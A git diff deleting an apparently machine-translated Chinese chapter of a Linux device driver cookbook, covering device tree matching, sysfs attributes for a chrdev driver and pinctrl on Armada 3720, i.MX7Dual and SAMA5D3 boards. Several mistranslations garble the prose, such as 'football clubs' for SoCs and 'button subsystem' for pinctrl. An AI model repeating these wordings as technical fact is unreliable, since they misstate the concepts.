-通过使用`linux/drivers/of`目录中的函数,我们将能够从设备树中提取驱动所需的所有信息。例如,通过使用`of_find_node_by_path()`函数,我们可以通过路径名获得一个节点指针: - -```sh -struct device_node *of_find_node_by_path(const char *path); -``` - -然后,一旦我们有了指向设备树节点的指针,我们就可以使用`of_property_read_*()`函数来提取所需的信息,如下所示: - -```sh -int of_property_read_u8(const struct device_node *np, - const char *propname, - u8 *out_value); -int of_property_read_u16(const struct device_node *np, - const char *propname, - u16 *out_value); -int of_property_read_u32(const struct device_node *np, - const char *propname, - u32 *out_value); -... -``` - -Note that there are a lot of other functions we can use to extract information from a device tree, so you may take a look at the `linux/include/linux/of.h` file for a complete list. - -如果我们希望解析一个节点的每个属性,我们可以使用`for_each_property_of_node()`宏来迭代它们,定义如下: - -```sh -#define for_each_property_of_node(dn, pp) \ - for (pp = dn->properties; pp != NULL; pp = pp->next) -``` - -然后,如果我们的节点有多个子节点(或子节点),我们可以使用`for_each_child_of_node()`宏来迭代它们,定义如下: - -```sh -#define for_each_child_of_node(parent, child) \ - for (child = of_get_next_child(parent, NULL); child != NULL; \ - child = of_get_next_child(parent, child)) -``` - -# 使用设备树描述角色驱动 - -我们已经看到,通过使用设备树,我们可以指定不同的驱动设置,然后修改驱动的功能。然而,我们的可能性并没有在这里结束!事实上,我们可以对不同的驱动版本或不同类型的相同设备使用相同的代码。 - -# 如何管理不同的设备类型 - -让我们假设我们的`chrdev`有另外两个实现(加上当前的一个),其中硬件是以这样一种方式完成的,即大多数参数是固定的(并且是众所周知的),并且开发者不可选择;在这种情况下,我们仍然可以使用节点属性来指定它们,但是这样做容易出错,并且会迫使用户知道这些约束。例如,如果在这两种实现中,硬件只能在只读或读/写模式下工作(即用户不能自由指定`read-only`属性),我们可以将这些特殊情况称为读/写版本的`"chrdev-fixed"`和只读版本的`"chrdev-fixed_read-only"`。 - -此时,我们可以通过修改`of_chrdev_req_match`数组来指定驱动现在与另外两个设备兼容,如下所示: - -```sh -static const struct of_device_id of_chrdev_req_match[] = { - { - .compatible = "ldddc,chrdev", - }, - { - .compatible = "ldddc,chrdev-fixed", - .data = &chrdev_fd, - }, - { - .compatible = "ldddc,chrdev-fixed_read-only", - .data = &chrdev_fd_ro, - }, - { /* sentinel */ } -}; -MODULE_DEVICE_TABLE(of, of_chrdev_req_match); -``` - -我们简单地添加了两个带有适当的`compatible`字符串的项目和两个特殊的数据条目,定义如下: - -```sh -static const struct chrdev_fixed_data chrdev_fd = { - .label = "cdev-fixed", -}; - -static const struct chrdev_fixed_data chrdev_fd_ro = { - .label = "cdev-fixedro", - .read_only = 1, -}; -``` - -以这种方式,我们告诉驱动,这些设备只能有一个实例,它们可以在读/写或只读模式下工作。通过这样做,用户只需按如下方式指定设备树,就可以使用我们的设备: - -```sh ---- a/arch/arm64/boot/dts/marvell/armada-3720-espressobin.dts -+++ b/arch/arm64/boot/dts/marvell/armada-3720-espressobin.dts -@@ -41,6 +41,10 @@ - 3300000 0x0>; - enable-active-high; - }; -+ -+ chrdev { -+ compatible = "ldddc,chrdev-fixed_read-only"; -+ }; - }; - - /* J9 */ -``` - -Again, as before, you must modify the ESPRESSObin's DTS file and then recompile and reinstall the kernel. - -通过使用这种解决方案,用户不需要知道硬件内部,因为它们是由驱动开发人员(在这种情况下是我们)封装到驱动中的。 - -这个兼容属性可以通过使用`of_device_is_compatible()`函数为驱动进行评估,如下例所示,我们修改了`chrdev_req_probe()`函数以支持我们的`chrdev`特殊版本: - -```sh -static int chrdev_req_probe(struct platform_device *pdev) -{ - struct device *dev = &pdev->dev; - struct device_node *np = dev->of_node; - const struct chrdev_fixed_data *data = of_device_get_match_data(dev); - struct fwnode_handle *child; - struct module *owner = THIS_MODULE; - int count, ret; - - /* Check the chrdev device type */ - if (of_device_is_compatible(np, "ldddc,chrdev-fixed") || - of_device_is_compatible(np, "ldddc,chrdev-fixed_read-only")) { - ret = chrdev_device_register(data->label, 0, - data->read_only, owner, dev); - if (ret) - dev_err(dev, "unable to register fixed"); - - return ret; - } - - /* If we are not registering a fixed chrdev device then get - * the number of chrdev devices from DTS - */ - count = device_get_child_node_count(dev); - if (count == 0) - return -ENODEV; - if (count > MAX_DEVICES) - return -ENOMEM; - - device_for_each_child_node(dev, child) { - const char *label; - unsigned int id, ro; -... -``` - -可以看到,在扫描节点的子节点之前,我们简单的验证一下哪个是我们系统当前安装的`chrdev`设备版本;在这种情况下,我们有两个新设备中的一个,因此我们相应地注册了一个新的`chrdev`设备。 - -All these modifications can be done using the  `add_fixed_chrdev_devices.``patch` file with the following command line: - -**`$ patch -p3 < add_fixed_chrdev_devices.patch`** - -现在,我们可以通过重新编译我们的`chrdev`驱动并将其(实际上是两个模块)重新插入到 ESPRESSObin 中来尝试该代码,如下所示: - -```sh -# insmod chrdev.ko -chrdev:chrdev_init: got major 239 -# insmod chrdev-req.ko -chrdev cdev-fixedro@0: chrdev cdev-fixedro with id 0 added -# ls -l /dev/cdev-fixedro\@0 -crw------- 1 root root 239, 0 Feb 28 15:23 /dev/cdev-fixedro@0 -``` - -我们可以看到,驱动已经正确地识别出`chrdev`设备的特殊版本(只读版本)已经在设备树中定义。 - -# 如何向设备添加 sysfs 属性 - -在前一节中,我们简要地讨论了`/sys/class/chrdev`目录。我们说过它与设备类(可以在系统中定义)和内核设备有关。事实上,当我们调用`device_create()`函数时,我们必须指定我们为`chrdev_init()`函数分配的设备类指针的第一个参数,并且该操作创建`/sys/class/chrdev`目录,每个`chrdev`设备被报告如下: - -```sh -# ls /sys/class/chrdev/ -cdev-eeprom@2 cdev-rom@4 -``` - -那么,一个设备类将所有具有共同特征的设备分组,但是我们谈论的是哪些特征呢?简单来说,这些特征或属性(很快我们将看到它们的确切名称)是关于我们设备的一组常见信息。 - -每次我们向系统添加新设备时,内核都会创建默认属性,这些属性可以从用户空间中作为 sysfs 下的文件看到,如下所示: - -```sh -# ls -l /sys/class/chrdev/cdev-eeprom\@2/ -total 0 --r--r--r-- 1 root root 4096 Feb 28 10:51 dev -lrwxrwxrwx 1 root root 0 Feb 28 10:51 device -> ../../../chrdev -drwxr-xr-x 2 root root 0 Feb 28 10:51 power -lrwxrwxrwx 1 root root 0 Feb 27 19:53 subsystem -> ../../../../../class/chrdev --rw-r--r-- 1 root root 4096 Feb 27 19:53 uevent -``` - -在前面的列表中,有些是文件,有些是目录或符号链接;然而,在这里,重要的是,对于每个设备,我们有一些属性来描述它。例如,如果我们看一下`dev`属性,我们会得到以下结果: - -```sh -# cat /sys/class/chrdev/cdev-eeprom\@2/dev -239:2 -``` - -哪个是我们设备的主要和次要数字对?现在的问题是,我们能有更多的(和定制的)属性吗?当然,答案是肯定的,所以让我们看看如何做到这一点。 - -首先,我们要修改`chrdev.c`文件,给`chrdev_init()`增加一行,如下: - -```sh ---- a/chapter_4/chrdev/chrdev.c -+++ b/chapter_4/chrdev/chrdev.c -@@ -216,6 +288,7 @@ static int __init chrdev_init(void) - pr_err("chrdev: failed to allocate class\n"); - return -ENOMEM; - } -+ chrdev_class->dev_groups = chrdev_groups; - - /* Allocate a region for character devices */ - ret = alloc_chrdev_region(&chrdev_devt, 0, MAX_DEVICES, "chrdev"); -``` - -该修改只是将`chrdev_class`指向的结构的`dev_groups`字段设置为与`chrdev_groups`结构相等,如下所示: - -```sh -static struct attribute *chrdev_attrs[] = { - &dev_attr_id.attr, - &dev_attr_reset_to.attr, - &dev_attr_read_only.attr, - NULL, -}; - -static const struct attribute_group chrdev_group = { - .attrs = chrdev_attrs, -}; - -static const struct attribute_group *chrdev_groups[] = { - &chrdev_group, - NULL, -}; -``` - -All the modifications in this paragraph can be done by using patch file `add_sysfs_attrs_chrdev.patch`, with the following command line: -**`$ patch -p3 < add_sysfs_attrs_chrdev.patch`** - -前面的代码是向 chrdev 设备添加一组属性的复杂方式。更具体地说,代码只是添加了一组名为`id`、`reset_to`和`read_only`的属性。所有这些属性名称仍然在修改后的`chrdev.c`文件中定义,如下图所示。以下是只读属性: - -```sh -static ssize_t id_show(struct device *dev, - struct device_attribute *attr, char *buf) -{ - struct chrdev_device *chrdev = dev_get_drvdata(dev); - - return sprintf(buf, "%d\n", chrdev->id); -} -static DEVICE_ATTR_RO(id); -``` - -然后,只写属性如下: - -```sh -static ssize_t reset_to_store(struct device *dev, - struct device_attribute *attr, - const char *buf, size_t count) -{ - struct chrdev_device *chrdev = dev_get_drvdata(dev); - - if (count > BUF_LEN) - count = BUF_LEN; - memcpy(chrdev->buf, buf, count); - - return count; -} -static DEVICE_ATTR_WO(reset_to); -``` - -最后,读/写属性如下: - -```sh -static ssize_t read_only_show(struct device *dev, - struct device_attribute *attr, char *buf) -{ - struct chrdev_device *chrdev = dev_get_drvdata(dev); - - return sprintf(buf, "%d\n", chrdev->read_only); -} - -static ssize_t read_only_store(struct device *dev, - struct device_attribute *attr, - const char *buf, size_t count) -{ - struct chrdev_device *chrdev = dev_get_drvdata(dev); - int data, ret; - - ret = sscanf(buf, "%d", &data); - if (ret != 1) - return -EINVAL; - - chrdev->read_only = !!data; - - return count; -} -static DEVICE_ATTR_RW(read_only); -``` - -通过使用`DEVICE_ATTR_RW()`、`DEVICE_ATTR_WO()`和`DEVICE_ATTR_RO()`,我们声明了读/写、只写和只读属性,这些属性连接到名为`chrdev_attrs`的数组中的条目,该数组被定义为`struct attribute`类型。 - -当我们使用`DEVICE_ATTR_RW(read_only)`时,那么我们必须定义两个名为`read_only_show()`和`read_only_store()`的函数(变量的名字是`read_only`,带有后缀,`_show`和`_store`,这样每次用户空间进程对属性文件执行`read()`或`write()`系统调用时,内核都会调用。当然,`DEVICE_ATTR_RO()`和`DEVICE_ATTR_WO()`变型分别只需要`_show`和`_store`功能。 - -为了更好地理解数据是如何交换的,让我们仔细看看这些函数。通过查看`read_only_show()`函数,我们可以看到要写入的数据是由`buf`指向的,而通过使用`dev_get_drvdata()`,我们可以获得一个指向我们的`struct chrdev_device`的指针,其中保存了与我们的自定义实现相关的所有必要信息。例如,函数`read_only_show()`函数将返回存储在`read_only`变量中的值,该变量表示我们设备的只读属性。注意`read_only_show()`必须返回一个代表返回多少字节的正值,如有错误则返回负值。 - -以类似的方式,`read_only_store()`函数给了我们要写入`buf`缓冲区和`count`的数据,同时我们可以使用相同的技术获得指向`struct chrdev_device`的指针。`read_only_store()`函数以人类可读的形式(即 ASCII 表示)读取一个数字,然后将`read_only`属性设置为 0(如果我们读取值 0 或 1)。 - -其他属性`id`和`reset_to`分别用于显示设备的`id`或强制内部缓冲区达到所需状态,而与设备本身是否被定义为只读无关。 - -为了测试代码,我们必须如前所述修改`chrdev.c`文件,然后我们必须重新编译代码,并将生成的内核模块移动到 ESPRESSObin。现在,如果我们插入模块,我们应该会得到和以前几乎相同的内核消息,但是现在`/sys/class/chrdev`子目录的内容应该已经改变了。事实上,现在我们有以下内容: - -```sh -# ls -l /sys/class/chrdev/cdev-eeprom\@2/ -total 0 --r--r--r-- 1 root root 4096 Feb 28 13:45 dev -lrwxrwxrwx 1 root root 0 Feb 28 13:45 device -> ../../../chrdev --r--r--r-- 1 root root 4096 Feb 28 13:45 id -drwxr-xr-x 2 root root 0 Feb 28 13:45 power --rw-r--r-- 1 root root 4096 Feb 28 13:45 read_only ---w------- 1 root root 4096 Feb 28 13:45 reset_to -lrwxrwxrwx 1 root root 0 Feb 28 13:45 subsystem -> ../../../../../class/chrdev --rw-r--r-- 1 root root 4096 Feb 28 13:45 uevent -``` - -正如预期的那样,我们有三个新的属性,正如我们的代码中定义的那样。然后,我们可以试着从中读出: - -```sh -# cat /sys/class/chrdev/cdev-eeprom\@2/id -2 -# cat /sys/class/chrdev/cdev-eeprom\@2/read_only -0 -# cat /sys/class/chrdev/cdev-eeprom\@2/reset_to -cat: /sys/class/chrdev/cdev-eeprom@2/reset_to: Permission denied -``` - -所有答案都如预期;事实上,`cdev-eeprom`设备的`id`等于 2,不是只读的,而`reset_to`属性是只写的,不可读。类似的输出可以从`cdev-rom`获得,如下所示: - -```sh -# cat /sys/class/chrdev/cdev-rom\@4/id -4 -# cat /sys/class/chrdev/cdev-rom\@4/read_only -1 -``` - -这些属性对于检查当前设备状态很有用,但也可用于修改其行为。事实上,我们可以使用`reset_to`属性设置只读`cdev-rom`设备的初始值,如下所示: - -```sh -# echo "THIS IS A READ ONLY DEVICE!" > /sys/class/chrdev/cdev-rom\@4/reset_to -``` - -现在`/dev/cdev-rom@4`设备仍然是只读的,但是它不再被全零填充: - -```sh -# cat /dev/cdev-rom\@4 -THIS IS A READ ONLY DEVICE! -``` - -或者,我们可以从`/dev/cdev-rom@4`设备中删除只读属性: - -```sh -# echo 0 > /sys/class/chrdev/cdev-rom\@4/read_only -``` - -现在,如果我们重试向其中写入数据,我们就成功了(从串行控制台报告`echo`命令下面的内核消息): - -```sh -root@espressobin:~# echo "TEST STRING" > /dev/cdev-rom\@4 -chrdev cdev-rom@4: chrdev (id=4) opened -chrdev cdev-rom@4: should write 12 bytes (*ppos=0) -chrdev cdev-rom@4: got 12 bytes (*ppos=12) -chrdev cdev-rom@4: chrdev (id=4) released -``` - -Note that this works, but with an unexpected side effect of reading; we can write into the device, but the new TEST STRING is overwritten onto the new (longer) `reset_to` string we just set up (that is, THIS IS A READ-ONLY DEVICE) so that a subsequent read will give: -`# cat /dev/cdev-rom\@4` -`TEST STRING` -`AD ONLY DEVICE!` -However, this is an example and we can safely accept this behavior. - -# 为特定外围设备配置 CPU 引脚 - -即使 ESPRESSObin 是本书的参考平台,在这一段中,我们将解释内核开发人员如何修改不同平台的 pin 设置,因为这个任务在不同的实现中可能会有所不同。事实上,即使所有这些实现都是基于设备树的,它们之间也有一些差异,必须加以概述。 - -当前的中央处理器是非常复杂的系统——如此复杂,以至于大多数都被赋予了首字母缩写 **SoC** ,意思是**片上系统**;事实上,在单个芯片中,我们可能不仅会发现**中央处理器** ( **CPU** )还有很多外设,CPU 可以利用这些外设与外部环境进行通信。因此,我们可以将显示控制器、键盘控制器、USB 主机或设备控制器、磁盘和网络控制器都集成在一个芯片中。不仅如此,现代足球俱乐部也有几个副本!所有这些外设都有自己的信号,并且每条信号都通过专用物理线路路由,并且每条线路都需要一个引脚来与外部环境通信;但是,可能会发生 CPU 引脚不足以将所有这些线路路由到外部的情况,这就是为什么大多数线路是多路复用的。这意味着,例如,一个中央处理器可能有六个串行端口和两个以太网端口,但它们不能同时使用。这里是**按钮子系统**发挥作用的地方。 - -Linux 的 pinctrl 子系统处理可控引脚的枚举、命名和多路复用,例如软件控制的偏置和驱动模式特定的引脚,例如上拉/下拉、开漏、负载电容等。所有这些设置都可以通过**引脚控制器**来完成,这是一个硬件(通常是一组寄存器),可以控制 CPU 引脚,并且可以多路复用、偏置、设置负载电容或设置单个引脚或引脚组的驱动强度: - -![](img/3d784abe-8a03-493a-b9e2-2f8e780c1db8.png) - -从 0 到最大引脚数的无符号整数用于表示我们想要控制的封装输入或输出线路。 - -这个数字空间是每个引脚控制器的本地空间,因此系统中可能有几个这样的数字空间;每当一个管脚控制器被实例化时,它将注册一个描述符,该描述符包含一组管脚描述符,描述由这个特定的管脚控制器处理的管脚。 - -在本书中,我们不打算解释如何在内核中定义引脚控制器,因为它不在本书的范围内(这也是一项相当复杂的任务),但我们将尝试让读者能够配置每个 CPU 引脚,以便通过使用例如嵌入式系统行业中使用最多的三个 CPU 来与他们正在开发的驱动一起使用。 - -# 无敌舰队 3720 - -ESPRESSObin 的 CPU 是来自 Marvell 的 Armada 3720,我们可以通过查看`linux/arch/arm64/boot/dts/marvell/armada-37xx.dtsi `文件了解一下它的内部外设。该文件定义了内部外围设备的内存映射(即每个外围设备在中央处理器内存中的映射方式和位置)以及所有按引脚控制器和引脚功能分组的中央处理器引脚。 - -例如,以下代码片段定义了一个名为`pinctrl@13800`的引脚控制器: - -```sh - pinctrl_nb: pinctrl@13800 { - compatible = "marvell,armada3710-nb-pinctrl", - "syscon", "simple-mfd"; - reg = <0x13800 0x100>, <0x13C00 0x20>; - /* MPP1[19:0] */ - gpionb: gpio { - #gpio-cells = <2>; - gpio-ranges = <&pinctrl_nb 0 0 36>; - gpio-controller; - interrupt-controller; - #interrupt-cells = <2>; - interrupts = - , - , - , - , - , - , - , - , - , - , - , - ; - }; - - xtalclk: xtal-clk { - compatible = "marvell,armada-3700-xtal-clock"; - clock-output-names = "xtal"; - #clock-cells = <0>; - }; - - spi_quad_pins: spi-quad-pins { - groups = "spi_quad"; - function = "spi"; - }; -... -``` - -We should remember that this notation means that it's mapped at offset `0x13800` from the beginning of the parent node named `internal-regs@d0000000` and mapped at `0xd0000000`. - -`compatible`状态的属性,这是该引脚控制器的驱动(存储在`linux/drivers/pinctrl/mvebu/pinctrl-armada-37xx.c `文件中),而每个子节点描述一个引脚的功能。我们可以看到一个带有时钟设备和一组引脚定义的 GPIO 控制器(从`spi_quad_pins`开始),这些引脚控制器在下面报告的代码中定义: - -```sh -static struct armada_37xx_pin_group armada_37xx_nb_groups[] = { - PIN_GRP_GPIO("jtag", 20, 5, BIT(0), "jtag"), - PIN_GRP_GPIO("sdio0", 8, 3, BIT(1), "sdio"), - PIN_GRP_GPIO("emmc_nb", 27, 9, BIT(2), "emmc"), - PIN_GRP_GPIO("pwm0", 11, 1, BIT(3), "pwm"), - PIN_GRP_GPIO("pwm1", 12, 1, BIT(4), "pwm"), - PIN_GRP_GPIO("pwm2", 13, 1, BIT(5), "pwm"), - PIN_GRP_GPIO("pwm3", 14, 1, BIT(6), "pwm"), - PIN_GRP_GPIO("pmic1", 17, 1, BIT(7), "pmic"), - PIN_GRP_GPIO("pmic0", 16, 1, BIT(8), "pmic"), - PIN_GRP_GPIO("i2c2", 2, 2, BIT(9), "i2c"), - PIN_GRP_GPIO("i2c1", 0, 2, BIT(10), "i2c"), - PIN_GRP_GPIO("spi_cs1", 17, 1, BIT(12), "spi"), - PIN_GRP_GPIO_2("spi_cs2", 18, 1, BIT(13) | BIT(19), 0, BIT(13), "spi"), - PIN_GRP_GPIO_2("spi_cs3", 19, 1, BIT(14) | BIT(19), 0, BIT(14), "spi"), - PIN_GRP_GPIO("onewire", 4, 1, BIT(16), "onewire"), - PIN_GRP_GPIO("uart1", 25, 2, BIT(17), "uart"), - PIN_GRP_GPIO("spi_quad", 15, 2, BIT(18), "spi"), - PIN_GRP_EXTRA("uart2", 9, 2, BIT(1) | BIT(13) | BIT(14) | BIT(19), - BIT(1) | BIT(13) | BIT(14), BIT(1) | BIT(19), - 18, 2, "gpio", "uart"), - PIN_GRP_GPIO("led0_od", 11, 1, BIT(20), "led"), - PIN_GRP_GPIO("led1_od", 12, 1, BIT(21), "led"), - PIN_GRP_GPIO("led2_od", 13, 1, BIT(22), "led"), - PIN_GRP_GPIO("led3_od", 14, 1, BIT(23), "led"), - -}; -``` - -`PIN_GRP_GPIO()`和`PIN_GRP_GPIO_2()`宏用于指定一个引脚组可以被内部外设使用,或者作为普通的 GPIO 线使用。因此,当我们在 ESPRESSObin 的 DTS 文件中使用以下代码(来自`linux/arch/arm64/boot/dts/marvell/armada-3720-espressobin.dts`文件的代码)时,我们要求 pin 的控制器为`uart0`设备保留`uart1_pins`组: - -```sh -/* Exported on the micro USB connector J5 through an FTDI */ -&uart0 { - pinctrl-names = "default"; - pinctrl-0 = <&uart1_pins>; - status = "okay"; -}; -``` - -Note that the line, `status = "okay"`, is needed because each device is normally disabled and if it is not specified, the device won't work. - -请注意,这次我们使用了`pinctrl-0`属性来声明外设的管脚。 - -The usage of the  `pinctrl-0` and `pinctrl-names` properties is strictly related to multiple pin's configuration states, which are not reported in this book due to limited space. However, curious readers can take a look at `https://www.kernel.org/doc/Documentation/devicetree/bindings/pinctrl/pinctrl-bindings.txt` for further information. - -# i.MX7Dual - -另一个相当著名的中央处理器是飞思卡尔的 **i.MX7Dual,它在`linux/arch/arm/boot/dts/imx7s.dtsi`设备树文件中有描述。在这个文件中,我们可以看到它的两个引脚控制器的定义如下:** - -```sh - iomuxc_lpsr: iomuxc-lpsr@302c0000 { - compatible = "fsl,imx7d-iomuxc-lpsr"; - reg = <0x302c0000 0x10000>; - fsl,input-sel = <&iomuxc>; - }; - - iomuxc: iomuxc@30330000 { - compatible = "fsl,imx7d-iomuxc"; - reg = <0x30330000 0x10000>; - }; -``` - -通过使用`compatiblle`属性,我们可以发现引脚控制器的驱动存储在`linux/drivers/pinctrl/freescale/pinctrl-imx7d.c`文件中,在这里我们可以找到所有 CPU 的引脚焊盘列表如下(由于空间原因,只有第二个引脚的引脚焊盘;s 控制器已被报告): - -```sh -enum imx7d_lpsr_pads { - MX7D_PAD_GPIO1_IO00 = 0, - MX7D_PAD_GPIO1_IO01 = 1, - MX7D_PAD_GPIO1_IO02 = 2, - MX7D_PAD_GPIO1_IO03 = 3, - MX7D_PAD_GPIO1_IO04 = 4, - MX7D_PAD_GPIO1_IO05 = 5, - MX7D_PAD_GPIO1_IO06 = 6, - MX7D_PAD_GPIO1_IO07 = 7, -}; -``` - -然后,所有需要引脚的外设只需声明它们,如下例所示,该例来自飞思卡尔的 **i.MX 7Dual SABRE 板**的 DTS 文件: - -```sh -... - panel { - compatible = "innolux,at043tn24"; - pinctrl-0 = <&pinctrl_backlight>; - enable-gpios = <&gpio1 1 GPIO_ACTIVE_HIGH>; - power-supply = <®_lcd_3v3>; - - port { - panel_in: endpoint { - remote-endpoint = <&display_out>; - }; - }; - }; -}; -... -&wdog1 { - pinctrl-names = "default"; - pinctrl-0 = <&pinctrl_wdog>; - fsl,ext-reset-output; -}; -... -&iomuxc_lpsr { - pinctrl_wdog: wdoggrp { - fsl,pins = < - MX7D_PAD_LPSR_GPIO1_IO00__WDOG1_WDOG_B 0x74 - >; - }; - - pinctrl_backlight: backlightgrp { - fsl,pins = < - MX7D_PAD_LPSR_GPIO1_IO01__GPIO1_IO1 0x110b0 - >; - }; -}; -``` - -在上例中,`panel`节点要求`pinctrl_backlight`管脚组,`wdog1`要求`pinctrl_wdog`管脚组;所有这些组都需要来自`lpsr`垫的引脚。 - -Note that pins defines in the DTS can be found into file `linux/arch/arm/boot/dts/imx7d-pinfunc.h`. Also, the following numbers are specific pin settings, which are explained in the CPU's user manual, so refer to it for further information about these magic numbers. - -同样,`pinctrl-0`属性已用于处理默认引脚配置。 - -# SAMA5D3 - -最后一个例子是关于名为`SAMA5D3 from Microchip`的 CPU,在`linux/arch/arm/boot/dts/sama5d3.dtsi`文件中有描述。引脚定义模式与前面的模式非常相似,其中我们有一个存储在`linux/drivers/pinctrl/pinctrl-at91.c`文件中的引脚控制器驱动,所有引脚特性都根据设备树中的定义进行管理,如下例所示: - -```sh - pinctrl@fffff200 { - #address-cells = <1>; - #size-cells = <1>; - compatible = "atmel,sama5d3-pinctrl", "atmel,at91sam9x5-pinctrl", "simple-bus"; - ranges = <0xfffff200 0xfffff200 0xa00>; - atmel,mux-mask = < - /* A B C */ - 0xffffffff 0xc0fc0000 0xc0ff0000 /* pioA */ - 0xffffffff 0x0ff8ffff 0x00000000 /* pioB */ - 0xffffffff 0xbc00f1ff 0x7c00fc00 /* pioC */ - 0xffffffff 0xc001c0e0 0x0001c1e0 /* pioD */ - 0xffffffff 0xbf9f8000 0x18000000 /* pioE */ - >; - - /* shared pinctrl settings */ - adc0 { - pinctrl_adc0_adtrg: adc0_adtrg { - atmel,pins = - ; /* PD19 periph A ADTRG */ - }; - pinctrl_adc0_ad0: adc0_ad0 { - atmel,pins = - ; /* PD20 periph A AD0 */ - }; -... - pinctrl_adc0_ad7: adc0_ad7 { - atmel,pins = - ; /* PD27 periph A AD7 */ -... -``` - -同样,当外设需要多一组引脚时,它只需声明它们,如下面来自微芯片技术公司的 **SAMA5D3 解释板**的 DTS 文件中的代码所示: - -```sh - adc0: adc@f8018000 { - atmel,adc-vref = <3300>; - atmel,adc-channels-used = <0xfe>; - pinctrl-0 = < - &pinctrl_adc0_adtrg - &pinctrl_adc0_ad1 - &pinctrl_adc0_ad2 - &pinctrl_adc0_ad3 - &pinctrl_adc0_ad4 - &pinctrl_adc0_ad5 - &pinctrl_adc0_ad6 - &pinctrl_adc0_ad7 - >; - status = "okay"; - }; -``` - -在前面的例子中,`adc0`节点要求几个引脚组能够管理其内部模数转换器外设。 - -SAMA5D3 CPU 的 DTS 模式仍然使用`pinctrl-0`属性来处理默认管脚配置。 - -# 使用设备树描述角色驱动 - -为了测试本章配方中的代码并展示一切是如何工作的,我们必须在采取任何进一步的步骤之前编译它: - -```sh -$ make KERNEL_DIR=../../../linux -make -C ../../../linux \ - ARCH=arm64 \ - CROSS_COMPILE=aarch64-linux-gnu- \ - SUBDIRS=/home/giometti/Projects/ldddc/github/chapter_4/chrdev modules -make[1]: Entering directory '/home/giometti/Projects/ldddc/linux' - CC [M] /home/giometti/Projects/ldddc/github/chapter_4/chrdev/chrdev.o - CC [M] /home/giometti/Projects/ldddc/github/chapter_4/chrdev/chrdev-req.o -... - LD [M] /home/giometti/Projects/ldddc/github/chapter_4/chrdev/chrdev.ko -make[1]: Leaving directory '/home/giometti/Projects/ldddc/linux' -``` - -然后,我们必须将`chrdev.ko`和`chrdev-req.ko`文件移动到 ESPRESSObin。现在,如果我们插入第一个模块,我们将获得与之前在串行控制台(或内核消息)上看到的完全相同的输出: - -```sh -# insmod chrdev.ko -chrdev: loading out-of-tree module taints kernel. -chrdev:chrdev_init: got major 239 -``` - -当我们插入第二个模块时,会出现差异: - -```sh -# insmod chrdev-req.ko -chrdev cdev-eeprom@2: chrdev cdev-eeprom with id 2 added -chrdev cdev-rom@4: chrdev cdev-rom with id 4 added -``` - -太好了。现在两个新设备已经被创造出来。通过这样做,以下两个字符文件被自动创建到`/dev`目录中: - -```sh -# ls -l /dev/cdev* -crw------- 1 root root 239, 2 Feb 27 18:35 /dev/cdev-eeprom@2 -crw------- 1 root root 239, 4 Feb 27 18:35 /dev/cdev-rom@4 -``` - -In reality, there is nothing magic here, but it's the `udev` program that does it for us and this will be explained a bit more in depth in the next section. - -新设备已根据设备树中指定的标签命名(如前所述),次要编号对应于每个`reg`属性使用的值。 - -Note that the  `cdev-eeprom@2` and `cdev-rom@4` names are created by the  `device_create()` function when we specified the printf-like format as in the following: - -`device_create(... , "%s@%d", label, id);` - -现在,我们可以尝试在新创建的设备中读写数据。根据我们在设备树中的定义,标记为`cdev-eeprom`的设备应该是读/写设备,而标记为`cdev-rom`的设备是只读设备。因此,让我们在`/dev/cdev-eeprom@2`字符设备上尝试一些简单的读/写命令: - -```sh -# echo "TEST STRING" > /dev/cdev-eeprom\@2 -# cat /dev/cdev-eeprom\@2 -TEST STRING -``` - -Note the backslash (`\`) character before `@ ` otherwise, BASH will generate an error. - -为了验证一切正常,相关的内核消息报告如下: - -```sh -chrdev cdev-eeprom@2: chrdev (id=2) opened -chrdev cdev-eeprom@2: should write 12 bytes (*ppos=0) -chrdev cdev-eeprom@2: got 12 bytes (*ppos=12) -chrdev cdev-eeprom@2: chrdev (id=2) released -chrdev cdev-eeprom@2: chrdev (id=2) opened -chrdev cdev-eeprom@2: should read 131072 bytes (*ppos=0) -chrdev cdev-eeprom@2: return 300 bytes (*ppos=300) -chrdev cdev-eeprom@2: should read 131072 bytes (*ppos=300) -chrdev cdev-eeprom@2: return 0 bytes (*ppos=300) -chrdev cdev-eeprom@2: chrdev (id=2) released -``` - -我们可以看到,通过第一个命令,我们调用一个`open()`系统调用,并且驱动识别出设备`id`等于 2,那么我们写 12 个字节(即`TEST STRING`加上终止字符);之后,我们关闭设备。使用`cat`命令代替,我们仍然打开设备,但是在此之后,我们进行第一次读取 131,072 字节(并且驱动仅正确返回 300 字节),然后进行另一次读取相同数量的字节,这实现了答案 0,意味着文件结束条件;因此,`cat`命令关闭设备,并在退出前打印接收到的数据(或至少所有可打印的字节)。 - -现在我们可以在另一个`/dev/cdev-rom@4`设备上尝试相同的命令。输出如下: - -```sh -# echo "TEST STRING" > /dev/cdev-rom\@4 --bash: echo: write error: Invalid argument -# cat /dev/cdev-rom\@4 -``` - -第一个命令不出所料地失败了,而第二个命令似乎什么也没有返回;然而,这是因为所有读取的数据都是 0,为了验证这一点,我们可以使用`od`命令,如下所示: - -```sh -# od -tx1 -N 16 /dev/cdev-rom\@4 -0000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 -0000020 -``` - -这表明没有数据被写入`/dev/cdev-rom@4`设备,该设备在设备树中被定义为只读。 - -与前面的代码一样,我们可以再次查看内核消息,以验证一切正常(以下是相对于`od`命令报告的内核消息): - -```sh -chrdev cdev-rom@4: chrdev (id=4) opened -chrdev cdev-rom@4: should write 12 bytes (*ppos=0) -chrdev cdev-rom@4: chrdev (id=4) released -chrdev cdev-rom@4: chrdev (id=4) opened -chrdev cdev-rom@4: should read 131072 bytes (*ppos=0) -chrdev cdev-rom@4: return 300 bytes (*ppos=300) -chrdev cdev-rom@4: should read 131072 bytes (*ppos=300) -chrdev cdev-rom@4: return 0 bytes (*ppos=300) -chrdev cdev-rom@4: chrdev (id=4) released -chrdev cdev-rom@4: chrdev (id=4) opened -chrdev cdev-rom@4: should read 16 bytes (*ppos=0) -chrdev cdev-rom@4: return 16 bytes (*ppos=16) -chrdev cdev-rom@4: chrdev (id=4) released -``` - -在前面的输出中,我们可以看到,我们首先打开设备(这次是`id`等于四的设备),然后使用`write()`系统调用,显然失败了,所以设备简单关闭。接下来的两个读数与前面的完全一样。 - -现在,我们应该尝试修改设备树以定义不同的 chrdev 设备,或者更好的是,应该尝试修改驱动以添加更多功能。 \ No newline at end of file diff --git a/docs/linux-device-driver-dev-cb/10.md b/docs/linux-device-driver-dev-cb/10.md deleted file mode 100644 index 55a9da60..00000000 --- a/docs/linux-device-driver-dev-cb/10.md +++ /dev/null @@ -1,382 +0,0 @@ -# 